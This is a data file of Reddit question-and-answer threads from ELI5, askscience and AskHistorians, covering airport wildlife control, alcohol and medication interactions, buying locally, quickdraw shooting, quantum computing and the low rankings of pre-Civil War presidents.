open various gates and herd the animal out with pickup trucks. Worst case scenario we have a shotgun, but it's very rare that it comes out. I've been doing it for 16 years and I've only ever used the gun twice in that time.\n\nUltimately, it's the airport maintenance department which has staff routinely checking problem areas for wildlife throughout the day, every day.\n\n**edit**: Wow! So many questions! I see Airport Ops as just another job, so I often forget that it's sort of a foreign world to a lot of people. Because so many people asked about the two times with the gun, I'll just say both time it was to put animals out of their misery after close encounters with aircraft. One was a young coyote that chased after a small Cessna and made contact with the prop. The other was a deer that got hit by a Cessna Citation Excel (medium-sized business jet) on its landing roll. The Excel took substantial damage to the leading edge and underside of the port wing. The deer was in very bad shape, but still alive.\n\nOtherwise, the gun usually only comes out when Canada geese hunker down to nest in approach/departure areas and refuse to leave. Once we exhaust all our other humane options, we make the call and use the gun. It's not something we as professionals enjoy doing, and the optics and potential PR nightmare are definitely unappealing.\n\n**edit 2**: I want to thank everyone for the questions. I've tried to answer as many as I could (and I still am, but I'm at work and I have a bunch of things to do before I leave) but I'll add some extra information here because so many people have asked:\n\nQ: How do you get this kind of job?\n\nA: There isn't really a lot of formal education to work in Airport Operations. Aviation is what I call a *Passion Industry*, so most of the people working in it come in with a lot of knowledge, and that's a huge start because it's a super-complicated industry. There are various college-level courses in aviation management and aviation ground schools, as well as a smattering of related online courses, but no formal certificate. Experience has value here.\n\nOperations generally look for people with a wide range of skills, primarily an airbrakes endorsement on your drivers licence for the heavy equipment, current first aid training and an interest in fire fighting is a plus. We tend to hire a lot of rural guys, because an airfield is sort of like a farm operation and country boys tend to work well across the entire platform of vehicles we run from agricultural tractors to high-speed snow blowers, they can easily handle the long hours in the equipment and they're natural problem-solvers when it comes to the type of property issues we have on an airfield.\n\nRegular duties include regular runway inspection reports, escorting contractors, plowing snow, cutting grass, dealing with tenants, security issues, wildlife, landscaping, tours, education, ARFF fire fighting, building inspections, gate/fence/perimeter inspection, pavement repair, painting, the list goes on and on. It's a super-huge job with lots of responsibilities. Every airport is different too, so the job molds itself to whatever's required at whatever aerodrome you're working.\n\n**edit 3**: My shift wraps up soon. I want to genuinely thank everyone for their questions. This kind of behind-the-scenes job can feel a bit thankless and lonely sometimes, so it was a pleasure to talk to so many of you about my admittedly unusual career.", "Quite a few methods, not all are complete, there's one with *[Looming Eyes](_URL_0_)*\n\nAnd of course, my country came up with a sign that says [Strictly No Pigeons!](_URL_1_)", "Birds do what they want. When they show up at an airport, there are usually sound defences (pun intended), air canons, really annoying whistles, and even drones or trained birds if necessary. For the most part they work.", "I recently worked at an airport, and the local coyotes were allowed around because they fed on the small rodents that birds normally would. ", "there\u2019s also much research that goes into looking at the biodiversity in airfields. things like having particular insects thrive in airfield grounds can cause a larger number of birds to be in the area. by displacing or removing the insects from the area, the number of birds in the airspace will decrease. ", "On top of other replies, some places have bred a specific strain of grass that make birds sick and thus not hang around. \n\n[Source](_URL_0_)", "A bird pooped on my head in jfk airport. So I guess we are just talking about bird free runways? ", "There's a guy at the pier in my city that trains a falcon to chase off seagulls so they dont bother tourists trying to eat", "I\u2019m in the Air Force, and our Airfield Management section has a falcon. They used to have a falcon in the hanger, but then an owl came in and killed the falcon. \n\nAlso, during migration season where there\u2019s thousands upon thousands of birds populating the trees in the area of the flightline, they drive around a golf cart that has an air cannon on the back and fire it off near them. Pretty funny to watch.  ", "[Well that one airport used Piper](_URL_0_) and that is definitely the most adorable solution.", "I worked at a \"large\" private airport in high school. To address our deer problem one year, we had hunters come in the woods away from the runway. They didn't catch enough, so the DNR came in and placed cameras and took them out overnight. For birds, we had two things. On the airport itself, we had the scare cartridges (like the previous comment mentioned). Off the airport (we were close to a quarry), we had a hovercraft. No joke. It sat on a trailer most of the year, but it was occasionally brought out and taken on the quarry to scare geese away. It actually worked very well. And yes, I *did* get to ride in it before. I would totally get one if I had the money.", "Some airports use no kill techniques like sound cannons (Portland, OR for example).  They also minimize open water that attracts birds by using storm water treatment facilities that don\u2019t create pools of water or the cover the water with bird balls.  Other techniques include eliminating plants that attract birds, using dogs or birds of prey to scare birds away, or trapping or killing birds.", "I work as an Airport Ops Supervisor at the busiest airport in the U.S. There are many methods used to stop birds. Avoiding water pooling up after storms is the most critical. Smaller airports that cannot afford a large drainage system have major bird problems due to the birds sitting in the miniature ponds that develop. As previously mentioned by others, \"pyros\" or \"bird bangers\" are used but are relatively ineffective. It scares the birds away, but they typically just fly around and go back to a different part or the airfield. Our airfield has 30-40 hawk traps that traps a few hawks and owls everyday. They are taken many miles away and then released. Then there are larger bird cage traps that accumulate hundreds of small birds each day. Wildlife collects them periodically and then gases them. ", "They use raptors. ", "Never mind that. How is the whole Canadian province of Alberta rat free?!?", "They aren't. Birds are a major issue at airports. Once read a story about bringing falcons into airport grounds to scare off the geese. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://gizmodo.com/this-hilarious-optical-illusion-for-birds-could-save-yo-1829716568", "https://imgur.com/VYrhVdu.jpg"], [], [], [], ["http://www.stuff.co.nz/business/industries/8468340/Bird-repelling-grass-on-offer"], [], [], [], ["https://www.reddit.com/r/IAmA/comments/487m4a/i_am_the_airport_k9_guy_my_dog_is_the_airport/"], [], [], [], [], [], []]}
{"q_id": "axnrlw", "title": "how, exactly is kylee jenner a self made billionaire?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axnrlw/eli5_how_exactly_is_kylee_jenner_a_self_made/", "answers": {"a_id": ["ehuqiyc", "ehuqsb8"], "score": [4, 3], "text": ["She isn\u2019t, at least not by the strictest definition. She used her platform and name to launch a successful make up line. But it\u2019s not like she crawled up from no name obscurity ", "They classified \"self-made\" as people who didn't inherit their wealth or business directly.  Certainly she was quite rich before, but the vast majority of her wealth came from her own business, Kylie Cosmetics.\n\nOf course, she used her wealth and celebrity status as the main driver and builder of the brand, but nonetheless, its a \"new\" entity that she created.\n\nIn a deeper reality, she really doesn't have anything to do with running the company other than being the name and face of it, (she's the marketing of it) but she is officially a/the founder collecting a huge amount of money from a successful company. The products for the company are the equivalent of being made from \"random company you've never heard of\" selling products on Amazon, which again she's not involved in (this company made a deal with Kylie to use her name/marketing to help sell their generic beauty products, seems like a good move, as, they just use her name and she helps market it on social media (to her giant amount of followers).\n\nSelf-made, yeah, technically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ax7v3b", "title": "why do some medicines/mushrooms become dangerous when combined with alcohol?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ax7v3b/eli5_why_do_some_medicinesmushrooms_become/", "answers": {"a_id": ["ehrpaef", "ehrrbwt", "ehs3sj2"], "score": [5, 3, 2], "text": ["Few possibilities for this. \n\n1. Alcohol in the blood interacts with a compound of the ingested substance and neutralizes it or creates something toxic.\n\n2. If your liver and kidneys are preoccupied with flushing alcohol from your system, previously safe dosages of a drug aren't being metabolized effectively and cause damage.\n\n3. The drug inhibits metabolization of alcohol or mimics or amplifies the effects of alcohol making someone much less functional with smaller portions of drink and more likely to hurt themselves.", "Alcohol depresses brain function. It starts in the frontal lobes which is why you become less inhibited at first. But the more you drink in a sitting, the more of the brain it depresses. Alcohol + certain medications can kill you. Opioids, anti anxiety medications, etc. The combination can make you stop breathing and die. Alcohol + downwers is really, really bad idea. Alcohol on its own can kill you in an overdose. Downers can kill you in an overdose. So they\u2019re not safe on their own. \n\nAlcohol also can make you produce fewer platelets which can make you more likely to bleed. This especially important if you are taking a blood thinner medication. Alcohol is discouraged when starting those medications. \n\nAlcohol gets processed by your liver when you drink it. It can put a heavy burden on the liver. Many of the medications you take also are processed in the liver. Imagine you work at Taco Bell and a tour bus stops full of people. Some workers may start working a lot faster producing a lot more burritos than they were before. But people who show up who were not part of the tour bus are going to have to wait a whole lot longer than they are used to in order to get their burrito. A similar thing happens in the liver. Alcohol will make some things get processed a lot faster. Alcohol will make some things get processed a lot slower. ", "I take a benzodiazapine and have been told strictly not to mix it with alcohol. The reason for this is because alcohol is a depressant, which means it slows functions like the heart and lungs, as well as a sedative, slowing down brain function. Benzos also have this effect, so putting them on top of each other can lead to the lungs or heart to stop all together or to falling unconscious at a dangerous place/time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "l1msu", "title": "why i should buy locally?", "selftext": "What are the benefits?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/l1msu/eli5_why_i_should_buy_locally/", "answers": {"a_id": ["c2p1fhk", "c2p1wt1", "c2p2v31", "c2p32t6", "c2p1fhk", "c2p1wt1", "c2p2v31", "c2p32t6"], "score": [21, 6, 2, 4, 21, 6, 2, 4], "text": ["One of the biggest reasons is that it costs money and fuel to bring things to you...bringing a banana from South America to your local supermarket in New York City before it goes bad means spending a lot of gas.  Most scientists are convinced that the Earth is getting hotter due to too much carbon emission, mostly from burning gas, coal and oil.  By buying locally, you can cut down on a lot of this wasted fuel - it's just more efficient.\n\nSome scientists are also concerned about the long-term effects of taking, taking, taking from an area without giving back - some countries that export bananas, tobacco, etc. end up depleting the soil and need to pay for (mostly) oil-based fertilizer, which means using up oil and gas even faster!\n\nAnother reason is more controversial: if you buy locally, you'll keep jobs in your area, which means more people with money who will spend at least some of their money locally, too.  The more jobs you can keep here instead of \"over there,\" the more jobs will be created to take care of those working people, so the better off the whole community will become.  Of course, these jobs are coming at the expense of people \"over there,\" and not all these jobs are well-paying, and people don't always spend their money locally, but it's an idea a lot of people like when there is a lot of unemployment.", "Say your mom and dad run a store that sells toys, and there's a Wal-Mart down the street that also sells toys. Buying from your mom  &  dad helps put food on your table and a roof over your head; buying from Wal-Mart sends money to someone else somewhere else.", "People will give you all sorts of global economic and foreign trade reasons as to why you should buy locally. I'll tell you the real reason to buy local: it's cheaper and it tastes great. I try and make a trip to the farmer's market every week or two. The first thing I noticed upon walking into the farmer's market was the cantelopes. There was a table of them and you could smell them from 10 meters away. I'm not even that big a fan of cantelopes, but those were fucking amazing. The local dairy had milk there that was indescribably good. Tomatoes that have actual flavor. Apples so juicy that you think you bit into a solid piece of apple juice. \n\n", "When people talk about buying locally, they typically are referring to food.  Dilettante listed a lot of the reasons why this is desirable.  There are some exceptions, like growing Oranges in Alaska would take more energy than importing them from Florida, but as a rule of thumb, it holds true.  \n\nBut, buying locally doesn't just apply to food.  The concept applies to all sorts of goods and services.  For example, you could buy a locally made screwdriver as opposed to a foreign made one and you support the screwdriver manufacturing jobs in the local country.  A lot of people in the US want the government to limit the outsourcing of manufacturing, but, if individuals would only buy US made goods, it would have the same result.  There are often US made goods competing with the imports, they are just a lot more expensive.  \n\nThis isn't a US or 1st world issue either.  A lot of people believe that the large amount of clothing donations that go to the 3rd world repress any sort of local textile industry, hurting local development and local GDP.  In other words, the charity may hurt more than it helps.  ", "One of the biggest reasons is that it costs money and fuel to bring things to you...bringing a banana from South America to your local supermarket in New York City before it goes bad means spending a lot of gas.  Most scientists are convinced that the Earth is getting hotter due to too much carbon emission, mostly from burning gas, coal and oil.  By buying locally, you can cut down on a lot of this wasted fuel - it's just more efficient.\n\nSome scientists are also concerned about the long-term effects of taking, taking, taking from an area without giving back - some countries that export bananas, tobacco, etc. end up depleting the soil and need to pay for (mostly) oil-based fertilizer, which means using up oil and gas even faster!\n\nAnother reason is more controversial: if you buy locally, you'll keep jobs in your area, which means more people with money who will spend at least some of their money locally, too.  The more jobs you can keep here instead of \"over there,\" the more jobs will be created to take care of those working people, so the better off the whole community will become.  Of course, these jobs are coming at the expense of people \"over there,\" and not all these jobs are well-paying, and people don't always spend their money locally, but it's an idea a lot of people like when there is a lot of unemployment.", "Say your mom and dad run a store that sells toys, and there's a Wal-Mart down the street that also sells toys. Buying from your mom  &  dad helps put food on your table and a roof over your head; buying from Wal-Mart sends money to someone else somewhere else.", "People will give you all sorts of global economic and foreign trade reasons as to why you should buy locally. I'll tell you the real reason to buy local: it's cheaper and it tastes great. I try and make a trip to the farmer's market every week or two. The first thing I noticed upon walking into the farmer's market was the cantelopes. There was a table of them and you could smell them from 10 meters away. I'm not even that big a fan of cantelopes, but those were fucking amazing. The local dairy had milk there that was indescribably good. Tomatoes that have actual flavor. Apples so juicy that you think you bit into a solid piece of apple juice. \n\n", "When people talk about buying locally, they typically are referring to food.  Dilettante listed a lot of the reasons why this is desirable.  There are some exceptions, like growing Oranges in Alaska would take more energy than importing them from Florida, but as a rule of thumb, it holds true.  \n\nBut, buying locally doesn't just apply to food.  The concept applies to all sorts of goods and services.  For example, you could buy a locally made screwdriver as opposed to a foreign made one and you support the screwdriver manufacturing jobs in the local country.  A lot of people in the US want the government to limit the outsourcing of manufacturing, but, if individuals would only buy US made goods, it would have the same result.  There are often US made goods competing with the imports, they are just a lot more expensive.  \n\nThis isn't a US or 1st world issue either.  A lot of people believe that the large amount of clothing donations that go to the 3rd world repress any sort of local textile industry, hurting local development and local GDP.  In other words, the charity may hurt more than it helps.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "3tbbak", "title": "can a cowboy quickdraw and shoot from his hip as accurately as they do in western films? if so, how?", "selftext": "I'm guessing it's probably just for flair in the films but I'd like to know if there is some form of technique for shooting from the hip.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tbbak/eli5_can_a_cowboy_quickdraw_and_shoot_from_his/", "answers": {"a_id": ["cx4ny79", "cx4o0kr", "cx4ob3k"], "score": [4, 28, 6], "text": ["Essentially you're point shooting, aiming with your body.  Where your chest/eyes go, your round will go.  You can practice from about the three yard line and move back slowly to get more efficient.  ", " >  Can a cowboy quickdraw and shoot from his hip as accurately as they do in western films?\n\nYes. Real champions can do it even faster than in the films. Check out videos of Bob Munden for examples.\n\n >  If so, how?\n\nJust like any skill - practice, practice, practice. Again, if you look up the name above, you'll find several slow motion videos that show his technique.", "Trick shooters did exist in the wild west days and still exist today. From my understanding, these weren't the desperadoes having gunfights in the street but were much more common among traveling circuses. Basically, they were performers who practiced a lot, not the dead-eye bandits from films."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "851nrz", "title": "How does classical information arise from quantum building blocks?", "selftext": "How does classical information arise from quantum building blocks? How could I build (or approximate) a **bit** that is copyable and a non-reversable **NAND gate** from purely quantum operators?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/851nrz/how_does_classical_information_arise_from_quantum/", "answers": {"a_id": ["dvugt80"], "score": [3], "text": ["So for your first question:\n\n\n\nthere are many ways quantum computation is worked on, one of the most promising is the superconducting quantum bit (sc qubit). These qubits are basically modelled atoms and the states are actually defined by number of electrons (cooper pairs) on a certain physical area. If you want more detail how it works google 'Transmon Qubit' or 'Koch et. al. 2007 Transmon'.  In the end what you try to achieve is some sort of system with different discrete energy levels, one of them is defined as your computational 1 state and the other (normally the systems ground state) as your 0 state. Each qubit can be in a superposition state, and represented by a Bloch Sphere.  So the 'Classical information' would be the pure states |1 >  and |0 >  but the system can be in many many other states too, one reason why quantum computers should be superior to classical ones.\n\n\n\nabout your second question:\n\n\n\nThe trick is to add aditional qubits to the operation abd discard them afterwards. So lets say you want to perform a non-reversable gate on n qubits. normally this achould be impossible in quantum mechanics. But adding additional m qubits to the operation creating an overall reversable gate but still having the intended non-reversable gate on the first n is possible. Afterwards you discard these m qubits. \nCopying is a problem solved by quantum teleportation. Basically a clever trick using entanglement of qubits and classical information. I don't think I can do a good job summing it up in a reddit post, but check out my groups script on quantum information:\n\n_URL_0_\n\nhope this helped"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://qudev.phys.ethz.ch/content/QSIT14/QSITNotes.pdf"]]}
{"q_id": "7osib0", "title": "Why is there a string of presidents from 1841 to 1877 who are, with only two exceptions, considered the worst presidents in history?", "selftext": "I know Wikipedia is not a very reliable source, but I was looking at this page: _URL_0_\n\nand playing with the numbers a little bit.\n\nThe part that prompts my question is this:\n\n >  9 William Henry Harrison\n\n >  10\tJohn Tyler\n\n >  11\tJames K. Polk\n\n >  12\tZachary Taylor\n\n >  13\tMillard Fillmore\n\n >  14\tFranklin Pierce\n\n >  15\tJames Buchanan\n\n >  16\tAbraham Lincoln\n\n >  17\tAndrew Johnson\n\n >  18\tUlysses S. Grant\n\nWith the exception of Abraham Lincoln and James Polk, every single one of these presidents is in the bottom quartile.  In fact, of all the presidents in the bottom quartile, only *two* of them are not from this stretch of time (Warren G Harding and George W Bush)\n\nSo for a period of about 30 years, before and after the Civil War, we had a string of terrible Presidents, one after another.\n\nWhat caused this?  Why are most of the lowest-rated presidents all from this one period in our history (instead of, as one might assume, more evenly distributed?)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7osib0/why_is_there_a_string_of_presidents_from_1841_to/", "answers": {"a_id": ["dscmebw", "dscpilf", "dscstmv"], "score": [263, 24, 28], "text": ["There are a variety of factors that contribute to this phenomenon, as you might expect.\n\n1) This was a time period of the most internal conflict the country has seen for most of its history.  **William Henry Harrison** is a bit of an outlier (he died after a month) but almost every president had to oversee dramatic internal or external conflict.  Almost all of these conflicts can be tied back to slavery or connections to slavery.  **Tyler** (and the several before him) had to deal with the annexation of Texas, and what that could mean in terms of expanding slavery.  **Polk** expanded the country a la manifest destiny, but there was a minority who resisted the Mexican-American War.  We also see the Wilmot Proviso, in 1846, basically splitting  Congress and the political parties (Democrats and Whigs) along slave/free lines -- and this is long before the war even ends.  Then there is the overall conflict over adding California as a free/slave state when it is divided in half by the Missouri Compromise line.  **Taylor** only served for about 15 months before dying in office, but his goal was to achieve sectional harmony rather than any major policy.  Then we have **Fillmore**, who completed Taylor's term, but essentially oversaw the demise of the national Whig Party (which was continuing to splinter over slave/free lines set into action by the Wilmot Proviso).  He also was president while the Compromise of 1850 was passed, which caused *major* internal strife over the Fugitive Slave Law that basically deputized northerners into returning escaped southern slaves.  Next, we have **Pierce**, who oversaw the push of popular sovereignty towards the Kansas and Nebraska territories, and the actions during Bleeding Kansas, where actual violence between slave and free sides was a bit of a preview of the Civil War.  This event also leads to the creation of the Republican Party out of bits of other parties (Free Soil, antislavery Whigs, ~~northern~~ antislavery Democrats) whose sole purpose is to stop the *spread* of slavery, not slavery entirely.  **Buchanan** was elected basically on the premise of \"I was in Europe during the whole Kansas ordeal\" and he stuck by his belief that the president constitutionally had no power to intervene in state issues.  The raid on Harpers Ferry by John Brown, a man who was already infamous for leading a group who murdered pro-slavery supporters during Bleeding Kansas, happens during Buchanan's presidency, further heightening the southern belief that all northerners and abolitionists threaten their way of life.  **Lincoln**, on the other hand, had no such qualms about expanding presidential power during a crisis; he did oversee the Civil War, but he often overreached his constitutionally approved power (ending habeus corpus, instituting martial law in Maryland, etc. depending on the historian you talk to, Lincoln is either praised or demonized for these events) in order to achieve his goal of keeping the Union together.  Obviously, the first Republican president Lincoln dies in office, but **Johnson** is one of the few southern Democrats (from Tennessee) who remained loyal to the Union, so his take on Reconstruction after the war is a little too soft for the Republicans' liking.  (He was ticketed as Lincoln's vice president as a way to make sure an antiwar candidate didn't win the presidency over Lincoln.)  Johnson ends up getting impeached, but as he is not seeking re-election, the congressional Republicans let him ride out the few months until the election of 1868. Then, **Grant** (who is moderately successful in terms of continuing Reconstruction) has one of the most corrupt presidencies in history, rivaling Harding's.  The Whiskey Ring and the Credit Mobilier scandal are the major ones there.\n\nSo, if we look at this list, each president has a major conflict over slavery or the immediate impact of the Civil War, or they died early in their presidency, except for Grant, who has corruption in spades.  All of these slavery-related conflicts cause increasing sectionalism between the South and the North/the West, and increasing violence.  It is difficult to consider domestic issues a win for most of these presidents while this is going on.  This is a bit of a revisionist view, but seeing as these presidents' actions did little to actually prevent a Civil War (at best delaying it), the pre-CW presidents are not viewed kindly by history, *especially* Buchanan.  This leads me back to another commonality in this era of the presidency...\n\n2) The lack of 'imperial presidency.'  I mentioned this specifically with Buchanan, but the presidency during this era is different than we think of it in the modern day.  Essentially, the idea here is that prior to FDR, most presidents had very few staff members, so their impact on legislation and events in the country was less wide-ranging than modern presidents.  Some historians argue that the most recent presidents also have expanded the use of their executive powers to combat an unwilling or ineffective Congress.  Prior to 1877, most presidents simply don't believe they have the right or the power to heavily interfere with legislation, only its enforcement.  From Harrison to Grant, there were 158 vetoes, of which 25 were overridden by Congress, or 16%.  Of those 158, the majority (122) were under Johnson (who, remember, was the opposite party of the president he ended up replacing, and at odds with an almost entirely Republican Congress) and Grant.  Most of the presidents prior to the Civil War simply felt that policy-making was mostly outside the realm of their power, even if it caused an increase to sectionalism, so they frequently avoided interacting with it.  (In contrast, Grover Cleveland had 584 vetoes, FDR had 635, and Truman had 250.  While vetoes aren't always a measure of presidential power, it does demonstrate that many of these early presidents tended to not interfere with the legislative process.)  In modern media, almost everything that happens during a presidency is ascribed to the president himself, but in actuality, most presidencies rely heavily on the cooperation of Congress to get their agenda through.\n\n3) The makeup of Congress means that all the **locally elected** leaders in the House (and similarly the Senate, who at this point is still elected by the state governments) have to make **national** policy.  The balance of this is tricky, and often fails to appease both sides. Therefore, this is a recipe that often leads to sectional interests taking hold, especially in the era of slave/free conflict.  If I'm a representative from Alabama, I sure as hell don't care what people in Massachusetts think of me, I only care what the voters of Alabama think of me.  The obviously limited suffrage of only white men also further heightens the stakes on the slavery issue -- the only voters these people care about are well, people who can actually vote.  All of this combines into a large blender of sectionalism and slavery.  Because of all of this, it falls to one man to be the \"national\" leader who ends sectionalism -- the president.  However, often, the President is elected by sectional interests, so even these cases can be tricky.  Lincoln wins in [1860](_URL_1_) despite not being on the ballot in many Southern states.  Likewise, Buchanan is [elected](_URL_0_) by an almost exact north/south divide, though the line where the divide is located is further north on the map than 4 years later.\n\nAll of these factors combine to make it difficult for presidents to achieve national unity and to avoid conflict over slavery.  Also, the presence of slavery and the inherent racism in the concept of manifest destiny cause some of the more successful presidents (Polk) to be weighed down in ratings conducted with the benefit of hindsight.  We can contrast this with most other periods in American history, where literally no other Civil War takes place.  Were there to be actual internal warfare during some of the more contentious periods (War of 1812 with Hartford Convention; Civil Rights movements in 1950s and 1960s), I am certain the presidents who did not \"prevent\" these hypothetical wars would also receive quite a hit in their ratings as well.\n\n**Sources:**\n\nSchlesinger, Arthur M. *The Imperial Presidency*, 1973.\n\nKarabell, Zachary. \"How the GOP Made Obama One of America's Most Powerful Presidents,\" *Politico*, April 14, 2016. _URL_3_\n\n_URL_2_\n\nArnove, Anthony, and Zinn, Howard, eds. *Voices of a People's History of the United States*, 2004. (for resistance to Mex-Am War)\n\nNewman, John J., and Schmalbach, John M. *United States History: Preparing for the Advanced Placement Examination*, 2016. (for the overall events tied to each presidency, sorry if this source is of dubious quality -- this is my course's textbook and I know this covers all the events)", "To begin, a quote from Abraham Lincoln: *\"You cannot escape the responsibility of tomorrow by evading it today.\"* \n\nThe string of Presidents experienced in the post Jacksonian and pre Civil War United States are looked down upon so unfavorably because they or their administrations often held immense opportunities to steer the United States in a direction that would not have resulted in the Civil War. These opportunities would slip through the cracks repeatedly due to political expediency or desire to ensure communion with their parties. \n\nWe begin with the most brief of these administrations with William Henry Harrisons, his was a presidency of expediency for the Whigs who sought to reverse their perceived lack of unity which actually enabled Harrison's opposition Martin Van Buren to defeat no less then 3 separate Whig candidates and get elected in his own right in 1836. \n\nHarrison was an amicable man of good reputation for his service in the War of 1812 and his administration was intended to be a repudiation of Jacksonian concepts like the Patronage System and their abolition of the Bank of the United States. Harrison elaborated in great detail about this. So much so that his speech elaborating on this was about 8400+ words. A record length at the time and a speech that ironically would prevent him from enacting any of these platforms. He would die from pneumonia that he most likely contracted due to the damp and wet weather of the day he was inaugurated and gave his long speech. Without a coat of course. \n\nJohn Tyler, his successor would prove much more a formidable opponent to his own party then anyone else in the post Jacksonian period. Unlike Harrison he was disgusted at the willingness of Whigs to simply take over rather then abolish Jackson's patronage system and would frequently clash with Senator Henry Clay (A founder of the Whig's and great statesmen in his own right) over the matter of who decided policy, the Congress or the executive. These clashes would see many of Tyler's own cabinet resign and his presidency fatally wounded when the Whigs politically marooned him by expelling him from the party. \n\nTyler would thereafter spend the remainder of his term unable to move any domestic policies due to none in Congress seeing him as an ally. Effectively castrated on the domestic front, Tyler would focus his energies into foreign affairs. Achieving landmark reconciliation with the United Kingdom through the Webster\u2013Ashburton Treaty. \n\nTyler like all Presidents until Lincoln following Jackson would be a one term president. Intent on fighting on without the nominations of either party, he would quickly consign himself to a graceful exit instead by endorsing James K. Polk of the Democratic party who shared his vision of annexing the break off region of Mexico in Texas. And indeed his most consequential action was among his last, in the transitional period as a \"lame duck\" President Tyler would ratify the legislation to annex Texas while the process would be fulfilled by his successor. \n\nUnlike Harrison, Tyler was a staunch constitutionalist and was a strong supporter of the states right to possess slaves. He also as a sign of his failure to gain the support of either party has the dubious distinction of being the first President to see his veto overturned by Congress. \n\nPolk's presidency was a return to several Jacksonian era ideas and more importantly to that of expansionism. Under Polk not only would Texas be gained but so too would be nearly all of the contemporary Western United States. A man of great vision and resolve, his was not a failure of nerve but instead a lack of ambitions towards that end. Polk was a native of Tennessee and was a firm believer in slavery, even purchasing many of his slaves during his time in the executive office. \n\nHe entered office with 4 defined goals: \n- Reestablish the Independent Treasury System which the Whigs had done away with. \n\n-  Reduce tariffs.\n\n- Acquire some or all of the Oregon Country.\n\n- Acquire California and its harbors from Mexico.\n\nAnd in all of these goals Polk succeeded in fulfilling his ambitions. He successfully resolved an outstanding dispute with the British Empire in laying claim to the Oregon and Washington territories and as well saw the Mexican border driven from Idaho to the River Grande. Indeed Polk was close to achieving the further ambition of annexing Mexico itself until his ambitions were rendered asunder by his diplomat receiving this directive too late. \n\nPolk's great expansion in the Mexican-American war resumed and exacerbated the great debate as to the future of the nation and wherein the frontier of slavery lay. He consigned himself to one term intentionally however and refused to accept any nomination while bitter divides in the Democratic party between it's increasingly anti slavery northern wing and the southern dominated mainstream wing resulted in a split vote for the 1848 election. Polk was succeeded by a successful general in the war he begun with Zachary Taylor.\n\n A populist by intent, Taylor rode his star power acquired during the Mexican-American War to office with the ambition of remaining aloof and keeping the Union from destroying itself. To this end he was largely a success and while a slaveholder and southerner himself he actually refrained from advocating for slaveries expansion within the union. \n\nTo avoid the issues that plagued the final year of the Polk administration with the debate over the expansion of slavery Taylor would back moves to admit New Mexico and California directly into the Union. Though this would not occur in his lifetime with the compromise only directly being enacted after his demise, the admission of California to the union also allowed for the dispute of boundaries between Texas and New Mexico to be resolved. Creating the current borders. \n\nTaylor was a flawed man like many presidents, but he is only looked upon in an unremarkable sense due to the longevity of his administration which scarcely exceeded 18 months. Taylor's presence reaffirmed the convictions of the union to be upheld (By force if necessary). He was to have said concerning any secessionists: \"taken in rebellion against the Union, he would hang ... with less reluctance than he had hanged deserters and spies in Mexico.\"\n\nThe same cannot be said of his successor Millard Fillmore. Who while much more morally inclined against slavery also imagined it was not within constitutional boundaries that the Federal Government could act against it. Fillmore's enforcement of the controversial Fugitive Slave Act (1850) effectively ensured the split between northern and southern Whigs. Killing in all but name the former principle rival to the democrats. Fillmore achieved some things of note, particularly opening up Japan to trade with the Perry Expedition which heralded events that lead to a modernized Japan before the centuries end. But otherwise his presidency proved not sufficiently energetic enough for the Whigs who passed him over for their nomination. They instead chose who they perceived to be another Taylor with his fellow General from the Mexican-American War Winfield Scott. \n\nThe perceived flopping of the Whigs was too great for the public to grant them another mandate however. They instead chose Democratic candidate Franklin Pierce. A northerner who perceived abolitionism as a possible fatal wound to the Union. \n\nPierce would spend his term reaffirming pro slavery sentiments across America and by seeking the acquisition of more lands from Mexico to develop railroads and also the annexation of Cuba from Spain. A reality that for the former resulted in the Gadsden purchase and in the latter would not be seen until William McKinley nearly 50 years later. \n\nPierce would confront his greatest domestic challenge with \"Bleeding Kansas\" where the white settlers fought among themselves to try and achieve their preferred status of slavery in the territory upon statehood. Pierce straddled the line of which he would support and instead passed the Kansas-Nebraska Act with Senator Stephen Douglas of Illinois. This would provide the mechanism by which a vote could occur on the matter instead. \n\nThe pro slavery elements won by dubious distinction of bringing in enough voters from slave state Missouri to win and stack the legislature with Democrat. After this chicanery was exposed the local free soilers established a legislature parallel to the pro slavery one in Kansas. One Pierce regarded as an act of rebellion against the United States and used federal troops to disperse with force. \n\nWith the Democrats suffering monumental losses in everywhere but the South despite the Whig's also faltering, Pierces remarkably divisive and failed Presidency was given an expiration date of the Democratic national convention. Despite these circumstances, Franklin Pierce imagined he would be renominated which he was sorely mistaken in. \n\nPierce would earn the distinction of being the only elected incumbent president to lose the nomination for re election in his own party. The aloof James Buchanan managed to get the nomination with the support of Stephen Douglas despite Pierce attempting to push the latter to the nomination as an act of revenge. Pierce therefore left office a bitter man. In his final speech to congress he railed against the Republicans and Whigs about his success on the fiscal front and his maintenance of the peace. \n\nHis successor Buchanan was elected by a much more narrow margin then Piece was but he benefited from the Republicans having to contest with the final remnants of the Whig's in Millard Fillmore's \"Know nothing\" bid for the Presidency. \n\nI'm out of space to underline how disastrously Buchanan's presidency ensured the previous 30 years would be looked upon unfavorably by Americans following the civil war. But many of these presidents were balanced if benign constitutionalists that simply lacked the political capital to challenge things.  ", "Rating presidents is a deeply subjective exercise because there are so many metrics you can choose between. This lot mostly have a big one in common, so let's look at that.\n\nMost of them were successful and that's the problem; they were successes at terrible things. With the exceptions of Lincoln and Grant, they're all proslavery men. Their chief job is shoring up their support in the slave states, either because it's literally their base or because they need a strong southern showing to win and keep the presidency in the first place. A few are general failures by some metric and most of them except Lincoln are really bad at the test of \"can you maybe not work so hard to cause a Civil War?\"\n\nWilliam Henry Harrison outright died before he could accomplish anything, which makes him ineffective even were he a master politician that otherwise had Washington wound around his little finger.\n\nJohn Tyler's accidental presidency is a hot mess. He was a Whig, *sort of,* 